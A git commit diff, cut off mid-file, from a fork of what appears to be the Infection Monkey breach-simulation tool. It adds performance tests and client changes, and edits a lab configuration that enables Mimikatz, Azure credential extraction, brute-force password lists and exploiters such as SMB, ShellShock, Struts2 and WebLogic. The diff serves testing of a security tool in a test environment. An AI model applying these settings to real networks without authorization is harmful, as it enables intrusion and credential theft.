forked from p15670423/monkey
commit
3726a14f68
|
@ -82,5 +82,11 @@ MonkeyZoo/*
|
||||||
!MonkeyZoo/config.tf
|
!MonkeyZoo/config.tf
|
||||||
!MonkeyZoo/MonkeyZooDocs.pdf
|
!MonkeyZoo/MonkeyZooDocs.pdf
|
||||||
|
|
||||||
|
# Exported monkey telemetries
|
||||||
|
/monkey/telem_sample/
|
||||||
|
|
||||||
|
# Profiling logs
|
||||||
|
profiler_logs/
|
||||||
|
|
||||||
# vim swap files
|
# vim swap files
|
||||||
*.swp
|
*.swp
|
||||||
|
|
30
.travis.yml
30
.travis.yml
|
@ -1,10 +1,15 @@
|
||||||
# Infection Monkey travis.yml. See Travis documentation for information about this file structure.
|
# Infection Monkey travis.yml. See Travis documentation for information about this file structure.
|
||||||
|
|
||||||
|
# If you change this file, you can validate using Travis CI's Build Config Explorer https://config.travis-ci.com/explore
|
||||||
|
|
||||||
group: travis_latest
|
group: travis_latest
|
||||||
|
|
||||||
language: python
|
language: python
|
||||||
|
|
||||||
cache: pip
|
cache:
|
||||||
|
- pip
|
||||||
|
- directories:
|
||||||
|
- "$HOME/.npm"
|
||||||
|
|
||||||
python:
|
python:
|
||||||
- 3.7
|
- 3.7
|
||||||
|
@ -18,6 +23,16 @@ install:
|
||||||
- pip install coverage # for code coverage
|
- pip install coverage # for code coverage
|
||||||
- pip install -r monkey/infection_monkey/requirements.txt # for unit tests
|
- pip install -r monkey/infection_monkey/requirements.txt # for unit tests
|
||||||
|
|
||||||
|
# node + npm + eslint
|
||||||
|
- node --version
|
||||||
|
- npm --version
|
||||||
|
- nvm --version
|
||||||
|
- nvm install node
|
||||||
|
- nvm use node
|
||||||
|
- npm i -g eslint
|
||||||
|
- node --version
|
||||||
|
- npm --version
|
||||||
|
|
||||||
before_script:
|
before_script:
|
||||||
# Set the server config to `testing`. This is required for for the UTs to pass.
|
# Set the server config to `testing`. This is required for for the UTs to pass.
|
||||||
- python monkey/monkey_island/cc/set_server_config.py testing
|
- python monkey/monkey_island/cc/set_server_config.py testing
|
||||||
|
@ -36,7 +51,7 @@ script:
|
||||||
## Display the linter issues
|
## Display the linter issues
|
||||||
- cat flake8_warnings.txt
|
- cat flake8_warnings.txt
|
||||||
## Make sure that we haven't increased the amount of warnings.
|
## Make sure that we haven't increased the amount of warnings.
|
||||||
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=190
|
- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=120
|
||||||
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
|
- if [ $(tail -n 1 flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi
|
||||||
|
|
||||||
## Run unit tests
|
## Run unit tests
|
||||||
|
@ -48,13 +63,10 @@ script:
|
||||||
|
|
||||||
# Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors.
|
# Check JS code. The npm install must happen AFTER the flake8 because the node_modules folder will cause a lot of errors.
|
||||||
- cd monkey_island/cc/ui
|
- cd monkey_island/cc/ui
|
||||||
- npm i
|
- npm ci # See https://docs.npmjs.com/cli/ci.html
|
||||||
- npm i -g eslint
|
- eslint ./src --quiet # Test for errors
|
||||||
- cd -
|
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=490
|
||||||
- cd monkey_island/cc/ui
|
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT # Test for max warnings
|
||||||
- eslint ./src --quiet
|
|
||||||
- JS_WARNINGS_AMOUNT_UPPER_LIMIT=37
|
|
||||||
- eslint ./src --max-warnings $JS_WARNINGS_AMOUNT_UPPER_LIMIT
|
|
||||||
|
|
||||||
after_success:
|
after_success:
|
||||||
# Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information
|
# Upload code coverage results to codecov.io, see https://github.com/codecov/codecov-bash for more information
|
||||||
|
|
|
@ -1 +1,2 @@
|
||||||
logs/
|
logs/
|
||||||
|
/blackbox/tests/performance/telem_sample
|
||||||
|
|
|
@ -10,10 +10,37 @@ In order to execute the entire test suite, you must know the external IP of the
|
||||||
this information in the GCP Console `Compute Engine/VM Instances` under _External IP_.
|
this information in the GCP Console `Compute Engine/VM Instances` under _External IP_.
|
||||||
|
|
||||||
#### Running in command line
|
#### Running in command line
|
||||||
Run the following command:
|
Blackbox tests have following parameters:
|
||||||
|
- `--island=IP` Sets island's IP
|
||||||
|
- `--no-gcp` (Optional) Use for no interaction with the cloud (local test).
|
||||||
|
- `--quick-performance-tests` (Optional) If enabled performance tests won't reset island and won't send telemetries,
|
||||||
|
instead will just test performance of endpoints in already present island state.
|
||||||
|
|
||||||
`monkey\envs\monkey_zoo\blackbox>python -m pytest --island=35.207.152.72:5000 test_blackbox.py`
|
Example run command:
|
||||||
|
|
||||||
|
`monkey\envs\monkey_zoo\blackbox>python -m pytest -s --island=35.207.152.72:5000 test_blackbox.py`
|
||||||
|
|
||||||
#### Running in PyCharm
|
#### Running in PyCharm
|
||||||
Configure a PyTest configuration with the additional argument `--island=35.207.152.72` on the
|
Configure a PyTest configuration with the additional arguments `-s --island=35.207.152.72` on the
|
||||||
`monkey\envs\monkey_zoo\blackbox`.
|
`monkey\envs\monkey_zoo\blackbox`.
|
||||||
|
|
||||||
|
### Running telemetry performance test
|
||||||
|
|
||||||
|
**Before running performance test make sure browser is not sending requests to island!**
|
||||||
|
|
||||||
|
To run telemetry performance test follow these steps:
|
||||||
|
1. Gather monkey telemetries.
|
||||||
|
1. Enable "Export monkey telemetries" in Configuration -> Internal -> Tests if you don't have
|
||||||
|
exported telemetries already.
|
||||||
|
2. Run monkey and wait until infection is done.
|
||||||
|
3. All telemetries are gathered in `monkey/telem_sample`
|
||||||
|
2. Run telemetry performance test.
|
||||||
|
1. Move directory `monkey/test_telems` to `envs/monkey_zoo/blackbox/tests/performance/test_telems`
|
||||||
|
2. (Optional) Use `envs/monkey_zoo/blackbox/tests/performance/utils/telem_parser.py` to multiply
|
||||||
|
telemetries gathered.
|
||||||
|
1. Run `telem_parser.py` script with working directory set to `monkey\envs\monkey_zoo\blackbox`
|
||||||
|
2. Pass integer to indicate the multiplier. For example running `telem_parser.py 4` will replicate
|
||||||
|
telemetries 4 times.
|
||||||
|
3. If you're using pycharm check "Emulate terminal in output console" on debug/run configuraion.
|
||||||
|
3. Performance test will run as part of BlackBox tests or you can run it separately by adding
|
||||||
|
`-k 'test_telem_performance'` option.
|
||||||
|
|
|
@ -1,59 +1,48 @@
|
||||||
import logging
|
import logging
|
||||||
from datetime import timedelta
|
from datetime import timedelta
|
||||||
|
from typing import Dict
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer
|
from envs.monkey_zoo.blackbox.analyzers.analyzer import Analyzer
|
||||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
from envs.monkey_zoo.blackbox.tests.performance.performance_test_config import PerformanceTestConfig
|
||||||
|
|
||||||
MAX_ALLOWED_SINGLE_PAGE_TIME = timedelta(seconds=2)
|
LOGGER = logging.getLogger(__name__)
|
||||||
MAX_ALLOWED_TOTAL_TIME = timedelta(seconds=5)
|
|
||||||
|
|
||||||
REPORT_URLS = [
|
|
||||||
"api/report/security",
|
|
||||||
"api/attack/report",
|
|
||||||
"api/report/zero_trust/findings",
|
|
||||||
"api/report/zero_trust/principles",
|
|
||||||
"api/report/zero_trust/pillars"
|
|
||||||
]
|
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
|
||||||
|
|
||||||
|
|
||||||
class PerformanceAnalyzer(Analyzer):
|
class PerformanceAnalyzer(Analyzer):
|
||||||
|
|
||||||
def __init__(self, island_client: MonkeyIslandClient, break_if_took_too_long=False):
|
def __init__(self, performance_test_config: PerformanceTestConfig, endpoint_timings: Dict[str, timedelta]):
|
||||||
self.break_if_took_too_long = break_if_took_too_long
|
self.performance_test_config = performance_test_config
|
||||||
self.island_client = island_client
|
self.endpoint_timings = endpoint_timings
|
||||||
|
|
||||||
def analyze_test_results(self) -> bool:
|
def analyze_test_results(self):
|
||||||
if not self.island_client.is_all_monkeys_dead():
|
# Calculate total time and check each endpoint
|
||||||
raise RuntimeError("Can't test report times since not all Monkeys have died.")
|
|
||||||
|
|
||||||
# Collect timings for all pages
|
|
||||||
self.island_client.clear_caches()
|
|
||||||
report_resource_to_response_time = {}
|
|
||||||
for url in REPORT_URLS:
|
|
||||||
report_resource_to_response_time[url] = self.island_client.get_elapsed_for_get_request(url)
|
|
||||||
|
|
||||||
# Calculate total time and check each page
|
|
||||||
single_page_time_less_then_max = True
|
single_page_time_less_then_max = True
|
||||||
total_time = timedelta()
|
total_time = timedelta()
|
||||||
for page, elapsed in report_resource_to_response_time.items():
|
for endpoint, elapsed in self.endpoint_timings.items():
|
||||||
logger.info(f"page {page} took {str(elapsed)}")
|
|
||||||
total_time += elapsed
|
total_time += elapsed
|
||||||
if elapsed > MAX_ALLOWED_SINGLE_PAGE_TIME:
|
if elapsed > self.performance_test_config.max_allowed_single_page_time:
|
||||||
single_page_time_less_then_max = False
|
single_page_time_less_then_max = False
|
||||||
|
|
||||||
total_time_less_then_max = total_time < MAX_ALLOWED_TOTAL_TIME
|
total_time_less_then_max = total_time < self.performance_test_config.max_allowed_total_time
|
||||||
|
|
||||||
logger.info(f"total time is {str(total_time)}")
|
PerformanceAnalyzer.log_slowest_endpoints(self.endpoint_timings)
|
||||||
|
LOGGER.info(f"Total time is {str(total_time)}")
|
||||||
|
|
||||||
performance_is_good_enough = total_time_less_then_max and single_page_time_less_then_max
|
performance_is_good_enough = total_time_less_then_max and single_page_time_less_then_max
|
||||||
|
|
||||||
if self.break_if_took_too_long and not performance_is_good_enough:
|
if self.performance_test_config.break_on_timeout and not performance_is_good_enough:
|
||||||
logger.warning(
|
LOGGER.warning(
|
||||||
"Calling breakpoint - pausing to enable investigation of island. Type 'c' to continue once you're done "
|
"Calling breakpoint - pausing to enable investigation of island. Type 'c' to continue once you're done "
|
||||||
"investigating. Type 'p timings' and 'p total_time' to see performance information."
|
"investigating. Type 'p timings' and 'p total_time' to see performance information."
|
||||||
)
|
)
|
||||||
breakpoint()
|
breakpoint()
|
||||||
|
|
||||||
return performance_is_good_enough
|
return performance_is_good_enough
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def log_slowest_endpoints(endpoint_timings, max_endpoints_to_display=100):
|
||||||
|
slow_endpoint_list = list(endpoint_timings.items())
|
||||||
|
slow_endpoint_list.sort(key=lambda x: x[1], reverse=True)
|
||||||
|
slow_endpoint_list = slow_endpoint_list[:max_endpoints_to_display]
|
||||||
|
for endpoint in slow_endpoint_list:
|
||||||
|
LOGGER.info(f"{endpoint[0]} took {str(endpoint[1])}")
|
||||||
|
|
|
@ -4,8 +4,23 @@ import pytest
|
||||||
def pytest_addoption(parser):
|
def pytest_addoption(parser):
|
||||||
parser.addoption("--island", action="store", default="",
|
parser.addoption("--island", action="store", default="",
|
||||||
help="Specify the Monkey Island address (host+port).")
|
help="Specify the Monkey Island address (host+port).")
|
||||||
|
parser.addoption("--no-gcp", action="store_true", default=False,
|
||||||
|
help="Use for no interaction with the cloud.")
|
||||||
|
parser.addoption("--quick-performance-tests", action="store_true", default=False,
|
||||||
|
help="If enabled performance tests won't reset island and won't send telemetries, "
|
||||||
|
"instead will just test performance of already present island state.")
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture(scope='module')
|
@pytest.fixture(scope='session')
|
||||||
def island(request):
|
def island(request):
|
||||||
return request.config.getoption("--island")
|
return request.config.getoption("--island")
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture(scope='session')
|
||||||
|
def no_gcp(request):
|
||||||
|
return request.config.getoption("--no-gcp")
|
||||||
|
|
||||||
|
|
||||||
|
@pytest.fixture(scope='session')
|
||||||
|
def quick_performance_tests(request):
|
||||||
|
return request.config.getoption("--quick-performance-tests")
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
from datetime import timedelta
|
|
||||||
from time import sleep
|
|
||||||
import json
|
import json
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
from time import sleep
|
||||||
|
|
||||||
from bson import json_util
|
from bson import json_util
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
|
from envs.monkey_zoo.blackbox.island_client.monkey_island_requests import MonkeyIslandRequests
|
||||||
|
@ -31,7 +31,7 @@ class MonkeyIslandClient(object):
|
||||||
|
|
||||||
@avoid_race_condition
|
@avoid_race_condition
|
||||||
def run_monkey_local(self):
|
def run_monkey_local(self):
|
||||||
response = self.requests.post_json("api/local-monkey", dict_data={"action": "run"})
|
response = self.requests.post_json("api/local-monkey", data={"action": "run"})
|
||||||
if MonkeyIslandClient.monkey_ran_successfully(response):
|
if MonkeyIslandClient.monkey_ran_successfully(response):
|
||||||
LOGGER.info("Running the monkey.")
|
LOGGER.info("Running the monkey.")
|
||||||
else:
|
else:
|
||||||
|
@ -96,13 +96,3 @@ class MonkeyIslandClient(object):
|
||||||
response = self.requests.get("api/test/clear_caches")
|
response = self.requests.get("api/test/clear_caches")
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
return response
|
return response
|
||||||
|
|
||||||
def get_elapsed_for_get_request(self, url):
|
|
||||||
response = self.requests.get(url)
|
|
||||||
if response.ok:
|
|
||||||
LOGGER.debug(f"Got ok for {url} content peek:\n{response.content[:120].strip()}")
|
|
||||||
return response.elapsed
|
|
||||||
else:
|
|
||||||
LOGGER.error(f"Trying to get {url} but got unexpected {str(response)}")
|
|
||||||
# instead of raising for status, mark failed responses as maxtime
|
|
||||||
return timedelta.max()
|
|
||||||
|
|
|
@ -1,9 +1,15 @@
|
||||||
|
from typing import Dict
|
||||||
|
from datetime import timedelta
|
||||||
|
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
import functools
|
import functools
|
||||||
|
|
||||||
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
from envs.monkey_zoo.blackbox.island_client.supported_request_method import SupportedRequestMethod
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
|
||||||
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
|
NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062' \
|
||||||
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
|
'8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557'
|
||||||
LOGGER = logging.getLogger(__name__)
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
@ -14,6 +20,26 @@ class MonkeyIslandRequests(object):
|
||||||
def __init__(self, server_address):
|
def __init__(self, server_address):
|
||||||
self.addr = "https://{IP}/".format(IP=server_address)
|
self.addr = "https://{IP}/".format(IP=server_address)
|
||||||
self.token = self.try_get_jwt_from_server()
|
self.token = self.try_get_jwt_from_server()
|
||||||
|
self.supported_request_methods = {SupportedRequestMethod.GET: self.get,
|
||||||
|
SupportedRequestMethod.POST: self.post,
|
||||||
|
SupportedRequestMethod.PATCH: self.patch,
|
||||||
|
SupportedRequestMethod.DELETE: self.delete}
|
||||||
|
|
||||||
|
def get_request_time(self, url, method: SupportedRequestMethod, data=None):
|
||||||
|
response = self.send_request_by_method(url, method, data)
|
||||||
|
if response.ok:
|
||||||
|
LOGGER.debug(f"Got ok for {url} content peek:\n{response.content[:120].strip()}")
|
||||||
|
return response.elapsed
|
||||||
|
else:
|
||||||
|
LOGGER.error(f"Trying to get {url} but got unexpected {str(response)}")
|
||||||
|
# instead of raising for status, mark failed responses as maxtime
|
||||||
|
return timedelta.max
|
||||||
|
|
||||||
|
def send_request_by_method(self, url, method=SupportedRequestMethod.GET, data=None):
|
||||||
|
if data:
|
||||||
|
return self.supported_request_methods[method](url, data)
|
||||||
|
else:
|
||||||
|
return self.supported_request_methods[method](url)
|
||||||
|
|
||||||
def try_get_jwt_from_server(self):
|
def try_get_jwt_from_server(self):
|
||||||
try:
|
try:
|
||||||
|
@ -55,12 +81,20 @@ class MonkeyIslandRequests(object):
|
||||||
verify=False)
|
verify=False)
|
||||||
|
|
||||||
@_Decorators.refresh_jwt_token
|
@_Decorators.refresh_jwt_token
|
||||||
def post_json(self, url, dict_data):
|
def post_json(self, url, data: Dict):
|
||||||
return requests.post(self.addr + url, # noqa: DUO123
|
return requests.post(self.addr + url, # noqa: DUO123
|
||||||
json=dict_data,
|
json=data,
|
||||||
headers=self.get_jwt_header(),
|
headers=self.get_jwt_header(),
|
||||||
verify=False)
|
verify=False)
|
||||||
|
|
||||||
|
@_Decorators.refresh_jwt_token
|
||||||
|
def patch(self, url, data: Dict):
|
||||||
|
return requests.patch(self.addr + url, # noqa: DUO123
|
||||||
|
data=data,
|
||||||
|
headers=self.get_jwt_header(),
|
||||||
|
verify=False
|
||||||
|
)
|
||||||
|
|
||||||
@_Decorators.refresh_jwt_token
|
@_Decorators.refresh_jwt_token
|
||||||
def delete(self, url):
|
def delete(self, url):
|
||||||
return requests.delete( # noqa: DOU123
|
return requests.delete( # noqa: DOU123
|
||||||
|
|
|
@ -0,0 +1,8 @@
|
||||||
|
from enum import Enum
|
||||||
|
|
||||||
|
|
||||||
|
class SupportedRequestMethod(Enum):
|
||||||
|
GET = "GET"
|
||||||
|
POST = "POST"
|
||||||
|
PATCH = "PATCH"
|
||||||
|
DELETE = "DELETE"
|
|
@ -2,14 +2,15 @@
|
||||||
"basic": {
|
"basic": {
|
||||||
"credentials": {
|
"credentials": {
|
||||||
"exploit_password_list": [
|
"exploit_password_list": [
|
||||||
"Password1!",
|
"Xk8VDTsC",
|
||||||
"12345678",
|
"^NgDvY59~8",
|
||||||
"^NgDvY59~8"
|
"Ivrrw5zEzs",
|
||||||
|
"3Q=(Ge(+&w]*",
|
||||||
|
"`))jU7L(w}",
|
||||||
|
"t67TC5ZDmz"
|
||||||
],
|
],
|
||||||
"exploit_user_list": [
|
"exploit_user_list": [
|
||||||
"Administrator",
|
"m0nk3y"
|
||||||
"m0nk3y",
|
|
||||||
"user"
|
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"general": {
|
"general": {
|
||||||
|
@ -23,11 +24,38 @@
|
||||||
"local_network_scan": false,
|
"local_network_scan": false,
|
||||||
"subnet_scan_list": [
|
"subnet_scan_list": [
|
||||||
"10.2.2.2",
|
"10.2.2.2",
|
||||||
"10.2.2.4"
|
"10.2.2.3",
|
||||||
|
"10.2.2.4",
|
||||||
|
"10.2.2.5",
|
||||||
|
"10.2.2.8",
|
||||||
|
"10.2.2.9",
|
||||||
|
"10.2.1.10",
|
||||||
|
"10.2.0.11",
|
||||||
|
"10.2.0.12",
|
||||||
|
"10.2.2.11",
|
||||||
|
"10.2.2.12",
|
||||||
|
"10.2.2.14",
|
||||||
|
"10.2.2.15",
|
||||||
|
"10.2.2.16",
|
||||||
|
"10.2.2.18",
|
||||||
|
"10.2.2.19",
|
||||||
|
"10.2.2.20",
|
||||||
|
"10.2.2.21",
|
||||||
|
"10.2.2.23",
|
||||||
|
"10.2.2.24"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"network_analysis": {
|
"network_analysis": {
|
||||||
"inaccessible_subnets": []
|
"inaccessible_subnets": [
|
||||||
|
"10.2.2.0/30",
|
||||||
|
"10.2.2.8/30",
|
||||||
|
"10.2.2.24/32",
|
||||||
|
"10.2.2.23/32",
|
||||||
|
"10.2.2.21/32",
|
||||||
|
"10.2.2.19/32",
|
||||||
|
"10.2.2.18/32",
|
||||||
|
"10.2.2.17/32"
|
||||||
|
]
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"cnc": {
|
"cnc": {
|
||||||
|
@ -45,10 +73,17 @@
|
||||||
"exploits": {
|
"exploits": {
|
||||||
"general": {
|
"general": {
|
||||||
"exploiter_classes": [
|
"exploiter_classes": [
|
||||||
|
"SmbExploiter",
|
||||||
|
"WmiExploiter",
|
||||||
"SSHExploiter",
|
"SSHExploiter",
|
||||||
"MSSQLExploiter",
|
"ShellShockExploiter",
|
||||||
|
"SambaCryExploiter",
|
||||||
"ElasticGroovyExploiter",
|
"ElasticGroovyExploiter",
|
||||||
"HadoopExploiter"
|
"Struts2Exploiter",
|
||||||
|
"WebLogicExploiter",
|
||||||
|
"HadoopExploiter",
|
||||||
|
"VSFTPDExploiter",
|
||||||
|
"MSSQLExploiter"
|
||||||
],
|
],
|
||||||
"skip_exploit_if_file_exist": false
|
"skip_exploit_if_file_exist": false
|
||||||
},
|
},
|
||||||
|
@ -57,9 +92,6 @@
|
||||||
"remote_user_pass": "Password1!",
|
"remote_user_pass": "Password1!",
|
||||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||||
},
|
},
|
||||||
"rdp_grinder": {
|
|
||||||
"rdp_use_vbs_download": true
|
|
||||||
},
|
|
||||||
"sambacry": {
|
"sambacry": {
|
||||||
"sambacry_folder_paths_to_guess": [
|
"sambacry_folder_paths_to_guess": [
|
||||||
"/",
|
"/",
|
||||||
|
@ -109,7 +141,7 @@
|
||||||
"exploit_ssh_keys": []
|
"exploit_ssh_keys": []
|
||||||
},
|
},
|
||||||
"general": {
|
"general": {
|
||||||
"keep_tunnel_open_time": 1,
|
"keep_tunnel_open_time": 60,
|
||||||
"monkey_dir_name": "monkey_dir",
|
"monkey_dir_name": "monkey_dir",
|
||||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||||
},
|
},
|
||||||
|
@ -123,6 +155,9 @@
|
||||||
"monkey_log_path_linux": "/tmp/user-1563",
|
"monkey_log_path_linux": "/tmp/user-1563",
|
||||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||||
"send_log_to_server": true
|
"send_log_to_server": true
|
||||||
|
},
|
||||||
|
"testing": {
|
||||||
|
"export_monkey_telems": true
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"monkey": {
|
"monkey": {
|
||||||
|
@ -137,24 +172,32 @@
|
||||||
},
|
},
|
||||||
"general": {
|
"general": {
|
||||||
"alive": true,
|
"alive": true,
|
||||||
"post_breach_actions": []
|
"post_breach_actions": [
|
||||||
|
"CommunicateAsNewUser"
|
||||||
|
]
|
||||||
},
|
},
|
||||||
"life_cycle": {
|
"life_cycle": {
|
||||||
"max_iterations": 1,
|
"max_iterations": 1,
|
||||||
"retry_failed_explotation": true,
|
"retry_failed_explotation": true,
|
||||||
"timeout_between_iterations": 100,
|
"timeout_between_iterations": 100,
|
||||||
"victims_max_exploit": 7,
|
"victims_max_exploit": 15,
|
||||||
"victims_max_find": 30
|
"victims_max_find": 100
|
||||||
},
|
},
|
||||||
"system_info": {
|
"system_info": {
|
||||||
"collect_system_info": true,
|
"collect_system_info": true,
|
||||||
"extract_azure_creds": false,
|
"extract_azure_creds": true,
|
||||||
"should_use_mimikatz": true
|
"should_use_mimikatz": true,
|
||||||
|
"system_info_collectors_classes": [
|
||||||
|
"EnvironmentCollector",
|
||||||
|
"AwsCollector",
|
||||||
|
"HostnameCollector",
|
||||||
|
"ProcessListCollector"
|
||||||
|
]
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"network": {
|
"network": {
|
||||||
"ping_scanner": {
|
"ping_scanner": {
|
||||||
"ping_scan_timeout": 500
|
"ping_scan_timeout": 1000
|
||||||
},
|
},
|
||||||
"tcp_scanner": {
|
"tcp_scanner": {
|
||||||
"HTTP_PORTS": [
|
"HTTP_PORTS": [
|
||||||
|
@ -166,7 +209,7 @@
|
||||||
],
|
],
|
||||||
"tcp_scan_get_banner": true,
|
"tcp_scan_get_banner": true,
|
||||||
"tcp_scan_interval": 0,
|
"tcp_scan_interval": 0,
|
||||||
"tcp_scan_timeout": 1000,
|
"tcp_scan_timeout": 3000,
|
||||||
"tcp_target_ports": [
|
"tcp_target_ports": [
|
||||||
22,
|
22,
|
||||||
2222,
|
2222,
|
||||||
|
@ -179,7 +222,8 @@
|
||||||
8008,
|
8008,
|
||||||
3306,
|
3306,
|
||||||
9200,
|
9200,
|
||||||
7001
|
7001,
|
||||||
|
8088
|
||||||
]
|
]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
|
import logging
|
||||||
import os
|
import os
|
||||||
|
|
||||||
import logging
|
|
||||||
from bson import ObjectId
|
from bson import ObjectId
|
||||||
|
|
||||||
LOGGER = logging.getLogger(__name__)
|
LOGGER = logging.getLogger(__name__)
|
||||||
|
|
|
@ -1,8 +1,7 @@
|
||||||
|
import logging
|
||||||
import os
|
import os
|
||||||
import shutil
|
import shutil
|
||||||
|
|
||||||
import logging
|
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser
|
from envs.monkey_zoo.blackbox.log_handlers.monkey_log_parser import MonkeyLogParser
|
||||||
from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader
|
from envs.monkey_zoo.blackbox.log_handlers.monkey_logs_downloader import MonkeyLogsDownloader
|
||||||
|
|
||||||
|
|
|
@ -4,13 +4,18 @@ import logging
|
||||||
import pytest
|
import pytest
|
||||||
from time import sleep
|
from time import sleep
|
||||||
|
|
||||||
from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer
|
|
||||||
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
|
||||||
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
|
from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer
|
||||||
from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
|
from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser
|
||||||
from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers
|
from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient
|
||||||
from envs.monkey_zoo.blackbox.tests.basic_test import BasicTest
|
|
||||||
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
|
from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHandler
|
||||||
|
from envs.monkey_zoo.blackbox.tests.exploitation import ExploitationTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.map_generation import MapGenerationTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.map_generation_from_telemetries import MapGenerationFromTelemetryTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.report_generation import ReportGenerationTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.report_generation_from_telemetries import \
|
||||||
|
ReportGenerationFromTelemetryTest
|
||||||
|
from envs.monkey_zoo.blackbox.tests.performance.telemetry_performance_test import TelemetryPerformanceTest
|
||||||
|
from envs.monkey_zoo.blackbox.utils import gcp_machine_handlers
|
||||||
|
|
||||||
DEFAULT_TIMEOUT_SECONDS = 5*60
|
DEFAULT_TIMEOUT_SECONDS = 5*60
|
||||||
MACHINE_BOOTUP_WAIT_SECONDS = 30
|
MACHINE_BOOTUP_WAIT_SECONDS = 30
|
||||||
|
@ -22,15 +27,16 @@ LOGGER = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture(autouse=True, scope='session')
|
@pytest.fixture(autouse=True, scope='session')
|
||||||
def GCPHandler(request):
|
def GCPHandler(request, no_gcp):
|
||||||
GCPHandler = gcp_machine_handlers.GCPHandler()
|
if not no_gcp:
|
||||||
GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
GCPHandler = gcp_machine_handlers.GCPHandler()
|
||||||
wait_machine_bootup()
|
GCPHandler.start_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||||
|
wait_machine_bootup()
|
||||||
|
|
||||||
def fin():
|
def fin():
|
||||||
GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
GCPHandler.stop_machines(" ".join(GCP_TEST_MACHINE_LIST))
|
||||||
|
|
||||||
request.addfinalizer(fin)
|
request.addfinalizer(fin)
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture(autouse=True, scope='session')
|
@pytest.fixture(autouse=True, scope='session')
|
||||||
|
@ -44,9 +50,10 @@ def wait_machine_bootup():
|
||||||
|
|
||||||
|
|
||||||
@pytest.fixture(scope='class')
|
@pytest.fixture(scope='class')
|
||||||
def island_client(island):
|
def island_client(island, quick_performance_tests):
|
||||||
island_client_object = MonkeyIslandClient(island)
|
island_client_object = MonkeyIslandClient(island)
|
||||||
island_client_object.reset_env()
|
if not quick_performance_tests:
|
||||||
|
island_client_object.reset_env()
|
||||||
yield island_client_object
|
yield island_client_object
|
||||||
|
|
||||||
|
|
||||||
|
@ -55,34 +62,32 @@ def island_client(island):
|
||||||
class TestMonkeyBlackbox(object):
|
class TestMonkeyBlackbox(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
